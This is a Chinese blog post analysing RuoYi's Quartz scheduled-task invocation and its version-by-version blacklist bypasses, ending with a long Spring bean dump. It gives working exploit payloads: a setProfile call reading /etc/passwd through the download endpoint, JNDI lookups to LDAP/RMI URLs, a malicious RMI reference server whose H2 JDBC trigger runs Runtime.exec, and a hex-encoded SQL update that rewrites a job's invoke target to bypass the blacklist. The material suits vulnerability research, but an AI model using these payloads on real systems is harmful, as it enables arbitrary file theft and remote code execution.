ruoyi定时任务浅析

前言

​ 以前都是直接贴poc,没分析过,最近碰见了也是定时任务,但不是若依的一套,回来看若依,发现若依的逻辑也抽象了,真是捡洞。

定时任务分析

  • 创建任务

    下载源码后,我们可以在ruoyi-quartz模块,拿到ruoyi定时任务的源码。

com.ruoyi.quartz.controller.SysJobController

image-20241026174956321

这里就是对应的模块

com.ruoyi.quartz.controller.SysJobController#addSave

image-20241026181824359

这里创建定时任务,然后经过一系列判断调用jobService.insertJob进行插入数据库中。

com.ruoyi.quartz.service.impl.SysJobServiceImpl#insertJob

image-20241026182010206

1
ScheduleConstants.Status.PAUSE

image-20241026182048185

新建任务时,默认设置暂定状态。

如果插入成果,调用ScheduleUtils.createScheduleJob创建计划任务

com.ruoyi.quartz.util.ScheduleUtils#createScheduleJob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException
{
Class<? extends Job> jobClass = getQuartzJobClass(job);
// 构建job信息
Long jobId = job.getJobId();
String jobGroup = job.getJobGroup();
JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build();

// 表达式调度构建器
CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression());
cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);

// 按新的cronExpression表达式构建一个新的trigger
CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup))
.withSchedule(cronScheduleBuilder).build();

// 放入参数,运行时的方法可以获取
jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);

// 判断是否存在
if (scheduler.checkExists(getJobKey(jobId, jobGroup)))
{
// 防止创建时存在数据问题 先移除,然后在执行创建操作
scheduler.deleteJob(getJobKey(jobId, jobGroup));
}

// 判断任务是否过期
if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression())))
{
// 执行调度任务
scheduler.scheduleJob(jobDetail, trigger);
}

// 暂停任务
if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue()))
{
scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
}
}

这里可以看到,常见任务,主要就是build了一个jobDetail,trigger。其中trigger和jobId,jobGroup,cronScheduleBuilder进行绑定,

jobDetail就是放入了job的一些信息。最后把他们注册到scheduler中,让他去执行

  • 再来看执行

com.ruoyi.quartz.controller.SysJobController#run

image-20241026184215206

调用jobService.run。

image-20241026184306868

有了上面的基础,这里就很能看懂了,new 一个JobDataMap,把任务参数put进去,在传入的jobid调用ScheduleUtils去找Schedule中找jobkey。然后调用triggerJob。

org.quartz.core.QuartzScheduler#triggerJob(org.quartz.JobKey, org.quartz.JobDataMap)

image-20241026184609843

新建一个trigger和我们jobkey,JobDataMap绑定, 然后调用storeTrigger,加入到jobList,进行触发。

  • Scheduler进行触发

    org.quartz.simpl.SimpleThreadPool.WorkerThread#run()

    image-20241026185915296

    最后就会调用到invokeMethod

    com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)

    image-20241026190013651

    获取SysJob中的参数,首先判断是不是bean,bean就调用getbean获取。不是然后反射调用。太搞了,参数都是前端传进来的。

  • 总结

    创建任务是,会将任务参数插入到数据库中,成功后,就新建jobDetail,trigger,然后注册到scheduler。立即执行时,会重新创建一个trigger,在和job绑定到scheduler中触发。

com.ruoyi.quartz.controller.SysJobController#changeStatus

image-20241026190730682

找到Job,设置job的 status;,然后调用

image-20241026191025335

根据传入的status,进行分别调用。

image-20241026191238679

image-20241026191248254

最后也是调用到scheduler执行执行或者暂停,

poc 构造

image-20241026191551371

就是在进行赋值的时候会有黑名单

com/ruoyi/common/constant/Constants.java

image-20241026191655501

这里手动修改了,注视了4.7.9的名单,这里看见了,4.7.9已经是白名单了,且只有一个类,没得玩了。

image-20241026191809857

  • 4.7.8的黑明单

image-20241026191948450

还是有很多操作空间

  • 4.7.5

image-20241026192139622

没有com.ruoyi.common.config

  • 4.7.2

image-20241026192230974

这里没白名单,且黑名单也少,也就是《=4.7.2以前,基本就和无限制调用任意类任意方法没什么区别

首先来看 4.7.5

主要就是这个类

com.ruoyi.common.config

image-20241026192627909

一共三个

主要有用的就是com.ruoyi.common.config.RuoYiConfig

1
2
3
4
5
6
7
8
9
...
/** 上传路径 */
private static String profile;
...
public void setProfile(String profile)
{
RuoYiConfig.profile = profile;
}
...

又一个方法可以配置上传路径。

com.ruoyi.web.controller.common.CommonController#resourceDownload

image-20241026192957302

配个/download/resource可任意文件下来

image-20241026193042503

image-20241026193338055

这里检查也没什么用,我们用不上,主要就差../和文件后缀

主要是这个

1
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);

image-20241026193143044

image-20241026193136517

他会在我们传入的resource找/profile,没有返回控,有就截取/profile后面的进行拼接,

因为这里是把我们传入resource和RuoYiConfig.profile 拼接,只要resource没有**/profile**,会返回控,这样路径就只要RuoYiConfig.profile,也就是我们只要把RuoYiConfig.profile设置成要下载的文件名就行了

image-20241026193736119

1
2
com.ruoyi.common.config.RuoYiConfig.setProfile('/etc/passwd')   //全类名
ruoyiConfig.setProfile('/etc/passwd') //bean形式

执行后在访问 http://127.0.0.1:8088/common/download/resource?resource=1.txt 就可以下载,这里resource随便写,后缀在白名单里找一个就行,反正最后返回空。

image-20241026193847260

这样就完成了任意文件下载。

4.7.2 相当于没有限制

https://github.com/SpringKill-team/SecurityInspector

直接来我们的项目SpringKill-team/SecurityInspector 找个

image-20241026194501101

太多了太酷了

image-20241026194802637

随便找一个

1
org.springframework.jndi.JndiTemplate.lookup('ldap://127.0.0.1:1389/remoteExploit8')

image-20241026194959880

执行后也是可以的,要是高版本也很简单,看我的补天大会上的ppt。直接上才艺, 返回一个恶意reference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ruoyiref {
public static void main(String[] args) throws Exception {
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec(\"open .\")\n" +
"$$\n";
ref.add(new StringRefAddr("jdbcUrl", JDBC_URL));
Registry registry = LocateRegistry.createRegistry(1097);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("exp", referenceWrapper);
}
}

4.7.8

忘记说了

com.ruoyi.quartz.util.JobInvokeUtil#getMethodParams

参数执行是下面几个类型

image-20241026195221549

这个版本限制了只白名单只能是com.ruoyi开头的类,且不在黑名单中就行。

网上公开就是通过sql去改sys_job中的invoke_target。

com.ruoyi.generator.service.impl.GenTableServiceImpl#createTable

image-20241026224026324

执行sql语句

image-20241026224039450

无敌

也就是空insert或者update设置一下invoke_target就行了

可以给一个提示,我们知道javax.naming.InitialContext 经常在黑名单中,其实可以用它的子类来进行绕过

image-20241026231352728

javax.naming.directory.InitialDirContext

javax.naming.ldap.InitialLdapContext

都是可以的,这样轻松就绕过黑名单了

image-20241026231726022

转hex

1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e6c6461702e496e697469616c4c646170436f6e746578742e6c6f6f6b75702827726d693a2f2f3132372e302e302e313a313039372f6578702729 WHERE job_id = 1;')

执行后

image-20241026232044514

id为1的已修改完成,然后执行就行。

这里只能通过SpringUtils.getBean(beanName); 触发,不能放射调用, 没有构造方法.

4.7.9

image-20241027000801430

白名单,没得玩

在就是1day,ThymeleafSSTI。

省流

定时任务调用任意pubilic类的punlic方法,方法限制string,int,duble,long的类型

或者通过springbean,给到一个bean对象,然后调用bean里的public方法,参数限制同上

bean主要有下面,对应的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
result = {HashMap@22309}  size = 505
"apiModelSpecificationReader" -> "springfox.documentation.spring.web.scanners.ApiModelSpecificationReader"
"sysUserOnlineController" -> "com.ruoyi.web.controller.monitor.SysUserOnlineController$$EnhancerBySpringCGLIB$$5c42ec"
"com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure" -> "com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure$$EnhancerBySpringCGLIB$$73829ca1"
"commonController" -> "com.ruoyi.web.controller.common.CommonController"
"serviceModelToSwagger2MapperImpl" -> "springfox.documentation.swagger2.mappers.ServiceModelToSwagger2MapperImpl"
"fieldProvider" -> "springfox.documentation.schema.property.field.FieldProvider"
"apiListingReferenceScanner" -> "springfox.documentation.spring.web.scanners.ApiListingReferenceScanner"
"parameterMultiplesReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterMultiplesReader"
"org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration"
"sqlSessionFactory" -> "org.apache.ibatis.session.defaults.DefaultSqlSessionFactory"
"jdbcTemplate" -> "org.springframework.jdbc.core.JdbcTemplate"
"sysDictTypeMapper" -> "com.sun.proxy.$Proxy300"
"org.springframework.context.annotation.internalConfigurationAnnotationProcessor" -> "org.springframework.context.annotation.ConfigurationClassPostProcessor"
"securityManager" -> "org.apache.shiro.web.mgt.DefaultWebSecurityManager"
"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$AspectJAutoProxyingConfiguration"
"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration"
"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration"
"sysCaptchaController" -> "com.ruoyi.web.controller.system.SysCaptchaController"
"pathMappingDecorator" -> "springfox.documentation.spring.web.paths.PathMappingDecorator"
"beanNameViewResolver" -> "org.springframework.web.servlet.view.BeanNameViewResolver"
"queryStringUriTemplateDecorator" -> "springfox.documentation.spring.web.paths.QueryStringUriTemplateDecorator"
"apiModelTypeNameProvider" -> "springfox.documentation.swagger.schema.ApiModelTypeNameProvider"
"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration$ThymeleafViewResolverConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration$ThymeleafWebMvcConfiguration$ThymeleafViewResolverConfiguration"
"viewResolver" -> "org.springframework.web.servlet.view.ContentNegotiatingViewResolver"
"org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$LiveReloadConfiguration"
"permitAllUrlProperties" -> "com.ruoyi.framework.config.properties.PermitAllUrlProperties$$EnhancerBySpringCGLIB$$5ba1efce"
"defaults" -> "springfox.documentation.spi.service.contexts.Defaults"
"tomcatServletWebServerFactoryCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.TomcatServletWebServerFactoryCustomizer"
"org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration" -> "org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration"
"removeDruidFilterRegistrationBean" -> "org.springframework.boot.web.servlet.FilterRegistrationBean"
"springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfiguration" -> "springfox.boot.starter.autoconfigure.SwaggerUiWebMvcConfiguration$$EnhancerBySpringCGLIB$$2a8d6f2c"
"shiroDialect" -> "at.pollux.thymeleaf.shiro.dialect.ShiroDialect"
"server-org.springframework.boot.autoconfigure.web.ServerProperties" -> "org.springframework.boot.autoconfigure.web.ServerProperties"
"org.springframework.boot.autoconfigure.quartz.QuartzAutoConfiguration" -> "org.springframework.boot.autoconfigure.quartz.QuartzAutoConfiguration"
"openApiOperationTagsReader" -> "springfox.documentation.swagger.readers.operation.OpenApiOperationTagsReader"
"messageConverters" -> "org.springframework.boot.autoconfigure.http.HttpMessageConverters"
"styleEnumMapperImpl" -> "springfox.documentation.oas.mappers.StyleEnumMapperImpl"
"websocketServletWebServerCustomizer" -> "org.springframework.boot.autoconfigure.websocket.servlet.TomcatWebSocketServletWebServerCustomizer"
"genConfig" -> "com.ruoyi.generator.config.GenConfig"
"org.springframework.boot.autoconfigure.h2.H2ConsoleAutoConfiguration" -> "org.springframework.boot.autoconfigure.h2.H2ConsoleAutoConfiguration"
"pathDecoratorRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration" -> "org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration"
"dataSourceScriptDatabaseInitializer" -> "org.springframework.boot.jdbc.init.DataSourceScriptDatabaseInitializer"
"genTableColumnServiceImpl" -> "com.ruoyi.generator.service.impl.GenTableColumnServiceImpl"
"apiListingReader" -> "springfox.documentation.spring.web.scanners.ApiListingReader"
"sysConfigServiceImpl" -> "com.ruoyi.system.service.impl.SysConfigServiceImpl"
"mbeanExporter" -> "org.springframework.jmx.export.annotation.AnnotationMBeanExporter"
"sysOperlogController" -> "com.ruoyi.web.controller.monitor.SysOperlogController$$EnhancerBySpringCGLIB$$b9f5c3d4"
"operationHttpMethodReader" -> "springfox.documentation.swagger.readers.operation.OperationHttpMethodReader"
"modelMapperImpl" -> "springfox.documentation.swagger2.mappers.ModelMapperImpl"
"operationBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"defaultResponseTypeReader" -> "springfox.documentation.spring.web.plugins.DefaultResponseTypeReader"
"dynamicDataSource" -> "com.ruoyi.framework.datasource.DynamicDataSource"
"druidController" -> "com.ruoyi.web.controller.monitor.DruidController$$EnhancerBySpringCGLIB$$cd2a234e"
"jsonIgnorePropertiesModelPlugin" -> "springfox.documentation.schema.plugins.JsonIgnorePropertiesModelPlugin"
"mbeanServer" -> "com.sun.jmx.mbeanserver.JmxMBeanServer"
"sysUserMapper" -> "com.sun.proxy.$Proxy289"
"org.springframework.boot.context.internalConfigurationPropertiesBinder" -> "org.springframework.boot.context.properties.ConfigurationPropertiesBinder"
"sysDictDataController" -> "com.ruoyi.web.controller.system.SysDictDataController$$EnhancerBySpringCGLIB$$3053a47"
"onlineSessionFactory" -> "com.ruoyi.framework.shiro.session.OnlineSessionFactory"
"defaultsProviderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"parameterMapperImpl" -> "springfox.documentation.swagger2.mappers.ParameterMapperImpl"
"webServerFactoryCustomizerBeanPostProcessor" -> "org.springframework.boot.web.server.WebServerFactoryCustomizerBeanPostProcessor"
"ruoYiConfig" -> "com.ruoyi.common.config.RuoYiConfig"
"oasVendorExtensionsMapperImpl" -> "springfox.documentation.oas.mappers.OasVendorExtensionsMapperImpl"
"modelAttributeParameterExpander" -> "springfox.documentation.spring.web.readers.parameter.ModelAttributeParameterExpander"
"parameterMinMax" -> "springfox.bean.validators.plugins.parameter.MinMaxAnnotationPlugin"
"org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration" -> "org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration"
"parameterNotBlank" -> "springfox.bean.validators.plugins.parameter.NotBlankAnnotationPlugin"
"schemaPluginsManager" -> "springfox.documentation.schema.plugins.SchemaPluginsManager"
"org.springframework.boot.autoconfigure.jdbc.JdbcTemplateAutoConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.JdbcTemplateAutoConfiguration"
"org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration"
"cacheController" -> "com.ruoyi.web.controller.monitor.CacheController$$EnhancerBySpringCGLIB$$cfb112ce"
"sysLoginService" -> "com.ruoyi.framework.shiro.service.SysLoginService"
"org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration" -> "org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration"
"sysDictDataMapper" -> "com.sun.proxy.$Proxy299"
"config" -> "com.ruoyi.framework.web.service.ConfigService"
"apiDescriptionLookup" -> "springfox.documentation.spring.web.scanners.ApiDescriptionLookup"
"parameterPattern" -> "springfox.bean.validators.plugins.parameter.PatternAnnotationPlugin"
"captchaConfig" -> "com.ruoyi.framework.config.CaptchaConfig$$EnhancerBySpringCGLIB$$a92653d3"
"sysRegisterService" -> "com.ruoyi.framework.shiro.service.SysRegisterService"
"accessorsProvider" -> "springfox.documentation.schema.property.bean.AccessorsProvider"
"getEhCacheManager" -> "org.apache.shiro.cache.ehcache.EhCacheManager"
"org.springframework.boot.autoconfigure.aop.AopAutoConfiguration" -> "org.springframework.boot.autoconfigure.aop.AopAutoConfiguration"
"cachingModelPropertiesProvider" -> "springfox.documentation.schema.property.CachingModelPropertiesProvider"
"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration"
"apiListingScannerPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"spring.quartz-org.springframework.boot.autoconfigure.quartz.QuartzProperties" -> "org.springframework.boot.autoconfigure.quartz.QuartzProperties"
"restartingClassPathChangedEventListener" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration$$Lambda$803/782560197"
"conventionErrorViewResolver" -> "org.springframework.boot.autoconfigure.web.servlet.error.DefaultErrorViewResolver"
"org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration" -> "org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration"
"xmlModelPlugin" -> "springfox.documentation.schema.plugins.XmlModelPlugin"
"org.springframework.context.event.internalEventListenerProcessor" -> "org.springframework.context.event.EventListenerMethodProcessor"
"h2Console" -> "org.springframework.boot.web.servlet.ServletRegistrationBean"
"localeCharsetMappingsCustomizer" -> "org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration$LocaleCharsetMappingsCustomizer"
"methodResolver" -> "springfox.documentation.spring.web.readers.operation.HandlerMethodResolver"
"webMvcOpenApiTransformationFilterRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"parameterRequiredReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterRequiredReader"
"sysUserOnlineMapper" -> "com.sun.proxy.$Proxy295"
"propertyMapperImpl" -> "springfox.documentation.swagger2.mappers.PropertyMapperImpl"
"formContentFilter" -> "org.springframework.boot.web.servlet.filter.OrderedFormContentFilter"
"defaultViewResolver" -> "org.springframework.web.servlet.view.InternalResourceViewResolver"
"serviceModelToOpenApiMapperImpl" -> "springfox.documentation.oas.mappers.ServiceModelToOpenApiMapperImpl"
"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration" -> "org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration"
"springfox.documentation.oas.configuration.OpenApiWebMvcConfiguration" -> "springfox.documentation.oas.configuration.OpenApiWebMvcConfiguration$$EnhancerBySpringCGLIB$$6375259"
"routerFunctionMapping" -> "org.springframework.web.servlet.function.support.RouterFunctionMapping"
"operationPathDecorator" -> "springfox.documentation.spring.web.paths.OperationPathDecorator"
"jacksonObjectMapperBuilder" -> "org.springframework.http.converter.json.Jackson2ObjectMapperBuilder"
"org.springframework.boot.autoconfigure.dao.PersistenceExceptionTranslationAutoConfiguration" -> "org.springframework.boot.autoconfigure.dao.PersistenceExceptionTranslationAutoConfiguration"
"notNullPlugin" -> "springfox.bean.validators.plugins.schema.NotNullAnnotationPlugin"
"liveReloadServer" -> "org.springframework.boot.devtools.livereload.LiveReloadServer"
"spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties" -> "org.springframework.boot.autoconfigure.task.TaskSchedulingProperties"
"multipartResolver" -> "org.springframework.web.multipart.support.StandardServletMultipartResolver"
"springfox.documentation.oas.configuration.OpenApiMappingConfiguration" -> "springfox.documentation.oas.configuration.OpenApiMappingConfiguration$$EnhancerBySpringCGLIB$$afba55e7"
"expanderSize" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterSizeAnnotationPlugin"
"requestMappingHandlerMapping" -> "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"
"lifecycleProcessor" -> "org.springframework.context.support.DefaultLifecycleProcessor"
"org.springframework.aop.config.internalAutoProxyCreator" -> "org.springframework.aop.aspectj.annotation.AnnotationAwareAspectJAutoProxyCreator"
"requestMappingHandlerAdapter" -> "org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"
"org.springframework.boot.autoconfigure.thymeleaf.TemplateEngineConfigurations$DefaultTemplateEngineConfiguration" -> "org.springframework.boot.autoconfigure.thymeleaf.TemplateEngineConfigurations$DefaultTemplateEngineConfiguration"
"optimized" -> "springfox.documentation.schema.property.OptimizedModelPropertiesProvider"
"mvcHandlerMappingIntrospector" -> "org.springframework.web.servlet.handler.HandlerMappingIntrospector"
"org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration"
"sysPostServiceImpl" -> "com.ruoyi.system.service.impl.SysPostServiceImpl"
"operationHiddenReader" -> "springfox.documentation.swagger.readers.operation.OperationHiddenReader"
"spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties" -> "org.springframework.boot.autoconfigure.info.ProjectInfoProperties"
"org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration"
"org.springframework.context.annotation.internalAutowiredAnnotationProcessor" -> "org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor"
"org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration" -> "org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration$JdbcTransactionManagerConfiguration"
"xssFilterRegistration" -> "org.springframework.boot.web.servlet.FilterRegistrationBean"
"springfox.documentation.oas.configuration.OpenApiDocumentationConfiguration" -> "springfox.documentation.oas.configuration.OpenApiDocumentationConfiguration$$EnhancerBySpringCGLIB$$d364e5bb"
"springSessionValidationScheduler" -> "com.ruoyi.framework.shiro.web.session.SpringSessionValidationScheduler"
"responseBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration" -> "org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration"
"org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory" -> "org.springframework.boot.type.classreading.ConcurrentReferenceCachingMetadataReaderFactory"
"genTableServiceImpl" -> "com.ruoyi.generator.service.impl.GenTableServiceImpl$$EnhancerBySpringCGLIB$$cac2a213"
"modelBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"securitySchemeMapperImpl" -> "springfox.documentation.oas.mappers.SecuritySchemeMapperImpl"
"org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration" -> "org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration"
"permission" -> "com.ruoyi.framework.web.service.PermissionService"
"org.springframework.boot.autoconfigure.sql.init.DataSourceInitializationConfiguration" -> "org.springframework.boot.autoconfigure.sql.init.DataSourceInitializationConfiguration"
"thymeleafViewResolver" -> "org.thymeleaf.spring5.view.ThymeleafViewResolver"
"errorAttributes" -> "org.springframework.boot.web.servlet.error.DefaultErrorAttributes"
"beanNameHandlerMapping" -> "org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping"
"objectMapperBeanPropertyNamingStrategy" -> "springfox.documentation.schema.property.ObjectMapperBeanPropertyNamingStrategy"
"minMaxPlugin" -> "springfox.bean.validators.plugins.schema.MinMaxAnnotationPlugin"
"sysIndexController" -> "com.ruoyi.web.controller.system.SysIndexController"
"statFilter" -> "com.alibaba.druid.filter.stat.StatFilter"
"org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration" -> "org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration"
"org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat" -> "org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat"
"operationNicknameIntoUniqueIdReader" -> "springfox.documentation.swagger.readers.operation.OperationNicknameIntoUniqueIdReader"
"sysLoginController" -> "com.ruoyi.web.controller.system.SysLoginController"
"sysRoleDeptMapper" -> "com.sun.proxy.$Proxy288"
"sysUserServiceImpl" -> "com.ruoyi.system.service.impl.SysUserServiceImpl$$EnhancerBySpringCGLIB$$dcdd2a4e"
"org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter" -> "org.springframework.boot.validation.beanvalidation.MethodValidationExcludeFilter$$Lambda$374/579415823"
"expanderMinMax" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterMinMaxAnnotationPlugin"
"operationTagsReader" -> "springfox.documentation.spring.web.readers.operation.OperationTagsReader"
"sysDictTypeController" -> "com.ruoyi.web.controller.system.SysDictTypeController$$EnhancerBySpringCGLIB$$781136f7"
"licenseMapperImpl" -> "springfox.documentation.swagger2.mappers.LicenseMapperImpl"
"parameterNameReader" -> "springfox.documentation.spring.web.readers.parameter.ParameterNameReader"
"quartzScheduler" -> "org.quartz.impl.StdScheduler"
"sessionFactory" -> "com.ruoyi.framework.shiro.session.OnlineSessionFactory"
"org.mybatis.spring.boot.autoconfigure.MybatisLanguageDriverAutoConfiguration" -> "org.mybatis.spring.boot.autoconfigure.MybatisLanguageDriverAutoConfiguration$$EnhancerBySpringCGLIB$$374eff9f"
"flashMapManager" -> "org.springframework.web.servlet.support.SessionFlashMapManager"
"expandedParameterBuilderPluginRegistry" -> "org.springframework.plugin.core.OrderAwarePluginRegistry"
"swagger2Module" -> "springfox.documentation.swagger2.configuration.Swagger2JacksonModule"
"threadPoolTaskExecutor" -> "org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor"
"logAspect" -> "com.ruoyi.framework.aspectj.LogAspect"
"fileSystemWatcherFactory" -> "org.springframework.boot.devtools.autoconfigure.LocalDevToolsAutoConfiguration$RestartConfiguration$$Lambda$802/1367205483"
"cacheService" -> "com.ruoyi.framework.web.service.CacheService"
"ryTask" -> "com.ruoyi.quartz.task.RyTask"
"swaggerController" -> "com.ruoyi.web.controller.tool.SwaggerController$$EnhancerBySpringCGLIB$$af7e3416"
"sysConfigMapper" -> "com.sun.proxy.$Proxy292"
"defaultModelProvider" -> "springfox.documentation.schema.DefaultModelProvider"
"cachingModelProvider" -> "springfox.documentation.schema.CachingModelProvider"
"swaggerApiListingReader" -> "springfox.documentation.swagger.web.SwaggerApiListingReader"
"expanderNotBlank" -> "springfox.bean.validators.plugins.parameter.ExpandedParameterNotBlankAnnotationPlugin"
